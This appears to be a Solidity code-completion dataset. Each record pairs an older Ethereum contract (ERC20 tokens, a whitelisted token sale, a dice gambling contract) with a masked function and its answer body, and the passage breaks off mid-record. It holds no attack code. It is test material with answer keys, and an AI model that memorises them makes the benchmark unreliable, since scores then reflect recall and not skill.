_balanceOf[msg.sender] = 4000000000000000000000; _totalSupply = 4000000000000000000000; Transfer(this, msg.sender,4000000000000000000000);
function MyToken()
/* Initializes contract with initial supply tokens to the creator of the contract */ function MyToken()
47996
AcceptsExchange
AcceptsExchange
contract AcceptsExchange { ORACLEPSYCHICHOTLINE public tokenContract; function AcceptsExchange(address _tokenContract) public {<FILL_FUNCTION_BODY> } modifier onlyTokenContract { require(msg.sender == address(tokenContract)); _; } /** * @dev Standard ERC677 function that will handle incoming token transfers. * * @param _from Token sender address. * @param _value Amount of tokens. * @param _data Transaction metadata. */ function tokenFallback(address _from, uint256 _value, bytes _data) external returns (bool); function tokenFallbackExpanded(address _from, uint256 _value, bytes _data, address _sender, address _referrer) external returns (bool); }
contract AcceptsExchange { ORACLEPSYCHICHOTLINE public tokenContract; <FILL_FUNCTION> modifier onlyTokenContract { require(msg.sender == address(tokenContract)); _; } /** * @dev Standard ERC677 function that will handle incoming token transfers. * * @param _from Token sender address. * @param _value Amount of tokens. * @param _data Transaction metadata. */ function tokenFallback(address _from, uint256 _value, bytes _data) external returns (bool); function tokenFallbackExpanded(address _from, uint256 _value, bytes _data, address _sender, address _referrer) external returns (bool); }
tokenContract = ORACLEPSYCHICHOTLINE(_tokenContract);
function AcceptsExchange(address _tokenContract) public
function AcceptsExchange(address _tokenContract) public
2593
MAP
transferAnyERC20Token
contract MAP is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ constructor() public { symbol = "MAP"; name = "Mineral Assurance"; decimals = 8; _totalSupply = 20000000000000000; balances[0xb6b594FF87bEEe0CF1d2ec7d50d8658C1b8d2b98] = _totalSupply; emit Transfer(address(0), 0xb6b594FF87bEEe0CF1d2ec7d50d8658C1b8d2b98, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {<FILL_FUNCTION_BODY> } }
contract MAP is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ constructor() public { symbol = "MAP"; name = "Mineral Assurance"; decimals = 8; _totalSupply = 20000000000000000; balances[0xb6b594FF87bEEe0CF1d2ec7d50d8658C1b8d2b98] = _totalSupply; emit Transfer(address(0), 0xb6b594FF87bEEe0CF1d2ec7d50d8658C1b8d2b98, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } <FILL_FUNCTION> }
return ERC20Interface(tokenAddress).transfer(owner, tokens);
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success)
// ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success)
9445
CaspianTokenSale
updateWhitelistBatch
contract CaspianTokenSale is FlexibleTokenSale, CaspianTokenSaleConfig { // // Whitelist // uint8 public currentPhase; mapping(address => uint8) public whitelist; // // Events // event WhitelistUpdated(address indexed _account, uint8 _phase); constructor(address wallet) public FlexibleTokenSale(INITIAL_STARTTIME, INITIAL_ENDTIME, wallet) { tokensPerKEther = TOKENS_PER_KETHER; bonus = BONUS; maxTokensPerAccount = TOKENS_ACCOUNT_MAX; contributionMin = CONTRIBUTION_MIN; currentPhase = 1; } // Allows the owner or ops to add/remove people from the whitelist. function updateWhitelist(address _address, uint8 _phase) external onlyOwnerOrOps returns (bool) { return updateWhitelistInternal(_address, _phase); } function updateWhitelistInternal(address _address, uint8 _phase) internal returns (bool) { require(_address != address(0)); require(_address != address(this)); require(_address != walletAddress); require(_phase <= 1); whitelist[_address] = _phase; emit WhitelistUpdated(_address, _phase); return true; } // Allows the owner or ops to add/remove people from the whitelist, in batches. function updateWhitelistBatch(address[] _addresses, uint8 _phase) external onlyOwnerOrOps returns (bool) {<FILL_FUNCTION_BODY> } // This is an extension to the buyToken function in FlexibleTokenSale which also takes // care of checking contributors against the whitelist. Since buyTokens supports proxy payments // we check that both the sender and the beneficiary have been whitelisted. function buyTokensInternal(address _beneficiary, uint256 _bonus) internal returns (uint256) { require(whitelist[msg.sender] >= currentPhase); require(whitelist[_beneficiary] >= currentPhase); return super.buyTokensInternal(_beneficiary, _bonus); } }
contract CaspianTokenSale is FlexibleTokenSale, CaspianTokenSaleConfig { // // Whitelist // uint8 public currentPhase; mapping(address => uint8) public whitelist; // // Events // event WhitelistUpdated(address indexed _account, uint8 _phase); constructor(address wallet) public FlexibleTokenSale(INITIAL_STARTTIME, INITIAL_ENDTIME, wallet) { tokensPerKEther = TOKENS_PER_KETHER; bonus = BONUS; maxTokensPerAccount = TOKENS_ACCOUNT_MAX; contributionMin = CONTRIBUTION_MIN; currentPhase = 1; } // Allows the owner or ops to add/remove people from the whitelist. function updateWhitelist(address _address, uint8 _phase) external onlyOwnerOrOps returns (bool) { return updateWhitelistInternal(_address, _phase); } function updateWhitelistInternal(address _address, uint8 _phase) internal returns (bool) { require(_address != address(0)); require(_address != address(this)); require(_address != walletAddress); require(_phase <= 1); whitelist[_address] = _phase; emit WhitelistUpdated(_address, _phase); return true; } <FILL_FUNCTION> // This is an extension to the buyToken function in FlexibleTokenSale which also takes // care of checking contributors against the whitelist. Since buyTokens supports proxy payments // we check that both the sender and the beneficiary have been whitelisted. function buyTokensInternal(address _beneficiary, uint256 _bonus) internal returns (uint256) { require(whitelist[msg.sender] >= currentPhase); require(whitelist[_beneficiary] >= currentPhase); return super.buyTokensInternal(_beneficiary, _bonus); } }
require(_addresses.length > 0); for (uint256 i = 0; i < _addresses.length; i++) { require(updateWhitelistInternal(_addresses[i], _phase)); } return true;
function updateWhitelistBatch(address[] _addresses, uint8 _phase) external onlyOwnerOrOps returns (bool)
// Allows the owner or ops to add/remove people from the whitelist, in batches. function updateWhitelistBatch(address[] _addresses, uint8 _phase) external onlyOwnerOrOps returns (bool)
14330
ApollonCoin
null
contract ApollonCoin is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ constructor() public {<FILL_FUNCTION_BODY> } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
contract ApollonCoin is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; <FILL_FUNCTION> // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
symbol = "XAP"; name = "Apollon Network"; decimals = 8; _totalSupply = 25000000000000000; balances[0xf258fB4809a2758923C1EECe05da8CE85888A8Bb] = _totalSupply; emit Transfer(address(0), 0xf258fB4809a2758923C1EECe05da8CE85888A8Bb, _totalSupply);
constructor() public
// ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ constructor() public
63957
Retribution
null
contract Retribution is ERC20 { constructor(uint256 initialSupply) ERC20(_name, _symbol, _decimals) {<FILL_FUNCTION_BODY> } function burn(address account, uint256 value) external onlyOwner { _burn(account, value); } }
contract Retribution is ERC20 { <FILL_FUNCTION> function burn(address account, uint256 value) external onlyOwner { _burn(account, value); } }
_name = " Retribution"; _symbol = unicode"REDEEMED 💥"; _decimals = 9; _totalSupply += initialSupply; _balances[msg.sender] += initialSupply; emit Transfer(address(0), msg.sender, initialSupply);
constructor(uint256 initialSupply) ERC20(_name, _symbol, _decimals)
constructor(uint256 initialSupply) ERC20(_name, _symbol, _decimals)
35001
PlayEth
verifyMerkleProof
contract PlayEth{ // Each bet is deducted 1% in favour of the house, but no less than some minimum. uint constant HOUSE_EDGE_PERCENT = 1; uint constant HOUSE_EDGE_MINIMUM_AMOUNT = 0.0003 ether; // Bets lower than this amount do not participate in jackpot rolls (and are not deducted JACKPOT_FEE). uint constant MIN_JACKPOT_BET = 0.1 ether; // Chance to win jackpot (currently 0.1%) and fee deducted into jackpot fund. uint constant JACKPOT_MODULO = 1000; uint constant JACKPOT_FEE = 0.001 ether; // There is minimum and maximum bets. uint constant MIN_BET = 0.01 ether; uint constant MAX_AMOUNT = 300000 ether; // Modulo is a number of equiprobable outcomes in a game: // - 2 for coin flip // - 6 for dice // - 6*6 = 36 for double dice // - 100 for etheroll // - 37 for roulette // etc. // It's called so because 256-bit entropy is treated like a huge integer and // the remainder of its division by modulo is considered bet outcome. uint constant MAX_MODULO = 100; // The specific value is dictated by the fact that 256-bit intermediate // multiplication result allows implementing population count efficiently // for numbers that are up to 42 bits, and 40 is the highest multiple of // eight below 42. uint constant MAX_MASK_MODULO = 40; // This is a check on bet mask overflow. uint constant MAX_BET_MASK = 2 ** MAX_MASK_MODULO; // EVM BLOCKHASH opcode can query no further than 256 blocks into the // past. Given that settleBet uses block hash of placeBet as one of // complementary entropy sources, we cannot process bets older than this // threshold. On rare occasions playeth.net croupier may fail to invoke // settleBet in this timespan due to technical issues or extreme Ethereum // congestion; such bets can be refunded via invoking refundBet. uint constant BET_EXPIRATION_BLOCKS = 250; // Some deliberately invalid address to initialize the secret signer with. // Forces maintainers to invoke setSecretSigner before processing any bets. address constant DUMMY_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; // Standard contract ownership transfer. address payable public owner; address payable private nextOwner; // Adjustable max bet profit. Used to cap bets against dynamic odds. uint public maxProfit; // The address corresponding to a private key used to sign placeBet commits. address public secretSigner; // Accumulated jackpot fund. uint128 public jackpotSize; // Funds that are locked in potentially winning bets. Prevents contract from // committing to bets it cannot pay out. uint128 public lockedInBets; // A structure representing a single bet. struct Bet { // Wager amount in wei. uint amount; // Modulo of a game. uint8 modulo; // Number of winning outcomes, used to compute winning payment (* modulo/rollUnder), // and used instead of mask for games with modulo > MAX_MASK_MODULO. uint8 rollUnder; // Block number of placeBet tx. uint40 placeBlockNumber; // Bit mask representing winning bet outcomes (see MAX_MASK_MODULO comment). uint40 mask; // Address of a gambler, used to pay out winning bets. address payable gambler; } // Mapping from commits to all currently active & processed bets. mapping (uint => Bet) bets; // Croupier account. address public croupier; // Events that are issued to make statistic recovery easier. event FailedPayment(address indexed beneficiary, uint amount); event Payment(address indexed beneficiary, uint amount); event JackpotPayment(address indexed beneficiary, uint amount); // This event is emitted in placeBet to record commit in the logs. event Commit(uint commit); // Constructor. Deliberately does not take any parameters. constructor () public { owner = msg.sender; secretSigner = DUMMY_ADDRESS; croupier = DUMMY_ADDRESS; } // Standard modifier on methods invokable only by contract owner. modifier onlyOwner { require (msg.sender == owner, "OnlyOwner methods called by non-owner."); _; } // Standard modifier on methods invokable only by contract owner. modifier onlyCroupier { require (msg.sender == croupier, "OnlyCroupier methods called by non-croupier."); _; } // Standard contract ownership transfer implementation, function approveNextOwner(address payable _nextOwner) external onlyOwner { require (_nextOwner != owner, "Cannot approve current owner."); nextOwner = _nextOwner; } function acceptNextOwner() external { require (msg.sender == nextOwner, "Can only accept preapproved new owner."); owner = nextOwner; } // Fallback function deliberately left empty. It's primary use case // is to top up the bank roll. function () external payable { } // See comment for "secretSigner" variable. function setSecretSigner(address newSecretSigner) external onlyOwner { secretSigner = newSecretSigner; } // Change the croupier address. function setCroupier(address newCroupier) external onlyOwner { croupier = newCroupier; } // Change max bet reward. Setting this to zero effectively disables betting. function setMaxProfit(uint _maxProfit) public onlyOwner { require (_maxProfit < MAX_AMOUNT, "maxProfit should be a sane number."); maxProfit = _maxProfit; } // This function is used to bump up the jackpot fund. Cannot be used to lower it. function increaseJackpot(uint increaseAmount) external onlyOwner { require (increaseAmount <= address(this).balance, "Increase amount larger than balance."); require (jackpotSize + lockedInBets + increaseAmount <= address(this).balance, "Not enough funds."); jackpotSize += uint128(increaseAmount); } // Funds withdrawal to cover costs of playeth.net operation. function withdrawFunds(address payable beneficiary, uint withdrawAmount) external onlyOwner { require (withdrawAmount <= address(this).balance, "Increase amount larger than balance."); require (jackpotSize + lockedInBets + withdrawAmount <= address(this).balance, "Not enough funds."); sendFunds(beneficiary, withdrawAmount, withdrawAmount); } // Contract may be destroyed only when there are no ongoing bets, // either settled or refunded. All funds are transferred to contract owner. function kill() external onlyOwner { require (lockedInBets == 0, "All bets should be processed (settled or refunded) before self-destruct."); selfdestruct(owner); } /// *** Betting logic // Bet states: // amount == 0 && gambler == 0 - 'clean' (can place a bet) // amount != 0 && gambler != 0 - 'active' (can be settled or refunded) // amount == 0 && gambler != 0 - 'processed' (can clean storage) // // NOTE: Storage cleaning is not implemented in this contract version; it will be added // with the next upgrade to prevent polluting Ethereum state with expired bets. // Bet placing transaction - issued by the player. // betMask - bet outcomes bit mask for modulo <= MAX_MASK_MODULO, // [0, betMask) for larger modulos. // modulo - game modulo. // commitLastBlock - number of the maximum block where "commit" is still considered valid. // commit - Keccak256 hash of some secret "reveal" random number, to be supplied // by the playeth.net croupier bot in the settleBet transaction. Supplying // "commit" ensures that "reveal" cannot be changed behind the scenes // after placeBet have been mined. // r, s - components of ECDSA signature of (commitLastBlock, commit). v is // guaranteed to always equal 27. // // Commit, being essentially random 256-bit number, is used as a unique bet identifier in // the 'bets' mapping. // // Commits are signed with a block limit to ensure that they are used at most once - otherwise // it would be possible for a miner to place a bet with a known commit/reveal pair and tamper // with the blockhash. Croupier guarantees that commitLastBlock will always be not greater than // placeBet block number plus BET_EXPIRATION_BLOCKS. See whitepaper for details. function placeBet(uint betMask, uint modulo, uint commitLastBlock, uint commit, uint8 v, bytes32 r, bytes32 s) external payable { // Check that the bet is in 'clean' state. Bet storage bet = bets[commit]; require (bet.gambler == address(0), "Bet should be in a 'clean' state."); // Validate input data ranges. uint amount = msg.value; require (modulo > 1 && modulo <= MAX_MODULO, "Modulo should be within range."); require (amount >= MIN_BET && amount <= MAX_AMOUNT, "Amount should be within range."); require (betMask > 0 && betMask < MAX_BET_MASK, "Mask should be within range."); // Check that commit is valid - it has not expired and its signature is valid. require (block.number <= commitLastBlock, "Commit has expired."); bytes32 signatureHash = keccak256(abi.encodePacked(commitLastBlock, commit)); require (secretSigner == ecrecover(signatureHash, v, r, s), "ECDSA signature is not valid."); uint rollUnder; uint mask; if (modulo <= MAX_MASK_MODULO) { // Small modulo games specify bet outcomes via bit mask. // rollUnder is a number of 1 bits in this mask (population count). // This magic looking formula is an efficient way to compute population // count on EVM for numbers below 2**40. For detailed proof consult // the playeth.net whitepaper. rollUnder = ((betMask * POPCNT_MULT) & POPCNT_MASK) % POPCNT_MODULO; mask = betMask; } else { // Larger modulos specify the right edge of half-open interval of // winning bet outcomes. require (betMask > 0 && betMask <= modulo, "High modulo range, betMask larger than modulo."); rollUnder = betMask; } // Winning amount and jackpot increase. uint possibleWinAmount; uint jackpotFee; (possibleWinAmount, jackpotFee) = getDiceWinAmount(amount, modulo, rollUnder); // Enforce max profit limit. require (possibleWinAmount <= amount + maxProfit, "maxProfit limit violation."); // Lock funds. lockedInBets += uint128(possibleWinAmount); jackpotSize += uint128(jackpotFee); // Check whether contract has enough funds to process this bet. require (jackpotSize + lockedInBets <= address(this).balance, "Cannot afford to lose this bet."); // Record commit in logs. emit Commit(commit); // Store bet parameters on blockchain. bet.amount = amount; bet.modulo = uint8(modulo); bet.rollUnder = uint8(rollUnder); bet.placeBlockNumber = uint40(block.number); bet.mask = uint40(mask); bet.gambler = msg.sender; } // This is the method used to settle 99% of bets. To process a bet with a specific // "commit", settleBet should supply a "reveal" number that would Keccak256-hash to // "commit". "blockHash" is the block hash of placeBet block as seen by croupier; it // is additionally asserted to prevent changing the bet outcomes on Ethereum reorgs. function settleBet(uint reveal, bytes32 blockHash) external onlyCroupier { uint commit = uint(keccak256(abi.encodePacked(reveal))); Bet storage bet = bets[commit]; uint placeBlockNumber = bet.placeBlockNumber; // Check that bet has not expired yet (see comment to BET_EXPIRATION_BLOCKS). require (block.number > placeBlockNumber, "settleBet in the same block as placeBet, or before."); require (block.number <= placeBlockNumber + BET_EXPIRATION_BLOCKS, "Blockhash can't be queried by EVM."); require (blockhash(placeBlockNumber) == blockHash); // Settle bet using reveal and blockHash as entropy sources. settleBetCommon(bet, reveal, blockHash); } // This method is used to settle a bet that was mined into an uncle block. At this // point the player was shown some bet outcome, but the blockhash at placeBet height // is different because of Ethereum chain reorg. We supply a full merkle proof of the // placeBet transaction receipt to provide untamperable evidence that uncle block hash // indeed was present on-chain at some point. function settleBetUncleMerkleProof(uint reveal, uint40 canonicalBlockNumber) external onlyCroupier { // "commit" for bet settlement can only be obtained by hashing a "reveal". uint commit = uint(keccak256(abi.encodePacked(reveal))); Bet storage bet = bets[commit]; // Check that canonical block hash can still be verified. require (block.number <= canonicalBlockNumber + BET_EXPIRATION_BLOCKS, "Blockhash can't be queried by EVM."); // Verify placeBet receipt. requireCorrectReceipt(4 + 32 + 32 + 4); // Reconstruct canonical & uncle block hashes from a receipt merkle proof, verify them. bytes32 canonicalHash; bytes32 uncleHash; (canonicalHash, uncleHash) = verifyMerkleProof(commit, 4 + 32 + 32); require (blockhash(canonicalBlockNumber) == canonicalHash); // Settle bet using reveal and uncleHash as entropy sources. settleBetCommon(bet, reveal, uncleHash); } // Common settlement code for settleBet & settleBetUncleMerkleProof. function settleBetCommon(Bet storage bet, uint reveal, bytes32 entropyBlockHash) private { // Fetch bet parameters into local variables (to save gas). uint amount = bet.amount; uint modulo = bet.modulo; uint rollUnder = bet.rollUnder; address payable gambler = bet.gambler; // Check that bet is in 'active' state. require (amount != 0, "Bet should be in an 'active' state"); // Move bet into 'processed' state already. bet.amount = 0; // The RNG - combine "reveal" and blockhash of placeBet using Keccak256. Miners // are not aware of "reveal" and cannot deduce it from "commit" (as Keccak256 // preimage is intractable), and house is unable to alter the "reveal" after // placeBet have been mined (as Keccak256 collision finding is also intractable). bytes32 entropy = keccak256(abi.encodePacked(reveal, entropyBlockHash)); // Do a roll by taking a modulo of entropy. Compute winning amount. uint dice = uint(entropy) % modulo; uint diceWinAmount; uint _jackpotFee; (diceWinAmount, _jackpotFee) = getDiceWinAmount(amount, modulo, rollUnder); uint diceWin = 0; uint jackpotWin = 0; // Determine dice outcome. if (modulo <= MAX_MASK_MODULO) { // For small modulo games, check the outcome against a bit mask. if ((2 ** dice) & bet.mask != 0) { diceWin = diceWinAmount; } } else { // For larger modulos, check inclusion into half-open interval. if (dice < rollUnder) { diceWin = diceWinAmount; } } // Unlock the bet amount, regardless of the outcome. lockedInBets -= uint128(diceWinAmount); // Roll for a jackpot (if eligible). if (amount >= MIN_JACKPOT_BET) { // The second modulo, statistically independent from the "main" dice roll. // Effectively you are playing two games at once! uint jackpotRng = (uint(entropy) / modulo) % JACKPOT_MODULO; // Bingo! if (jackpotRng == 0) { jackpotWin = jackpotSize; jackpotSize = 0; } } // Log jackpot win. if (jackpotWin > 0) { emit JackpotPayment(gambler, jackpotWin); } // Send the funds to gambler. sendFunds(gambler, diceWin + jackpotWin == 0 ? 1 wei : diceWin + jackpotWin, diceWin); } // Refund transaction - return the bet amount of a roll that was not processed in a // due timeframe. Processing such blocks is not possible due to EVM limitations (see // BET_EXPIRATION_BLOCKS comment above for details). In case you ever find yourself // in a situation like this, just contact the playeth.net support, however nothing // precludes you from invoking this method yourself. function refundBet(uint commit) external { // Check that bet is in 'active' state. Bet storage bet = bets[commit]; uint amount = bet.amount; require (amount != 0, "Bet should be in an 'active' state"); // Check that bet has already expired. require (block.number > bet.placeBlockNumber + BET_EXPIRATION_BLOCKS, "Blockhash can't be queried by EVM."); // Move bet into 'processed' state, release funds. bet.amount = 0; uint diceWinAmount; uint jackpotFee; (diceWinAmount, jackpotFee) = getDiceWinAmount(amount, bet.modulo, bet.rollUnder); lockedInBets -= uint128(diceWinAmount); jackpotSize -= uint128(jackpotFee); // Send the refund. sendFunds(bet.gambler, amount, amount); } // Get the expected win amount after house edge is subtracted. function getDiceWinAmount(uint amount, uint modulo, uint rollUnder) private pure returns (uint winAmount, uint jackpotFee) { require (0 < rollUnder && rollUnder <= modulo, "Win probability out of range."); jackpotFee = amount >= MIN_JACKPOT_BET ? JACKPOT_FEE : 0; uint houseEdge = amount * HOUSE_EDGE_PERCENT / 100; if (houseEdge < HOUSE_EDGE_MINIMUM_AMOUNT) { houseEdge = 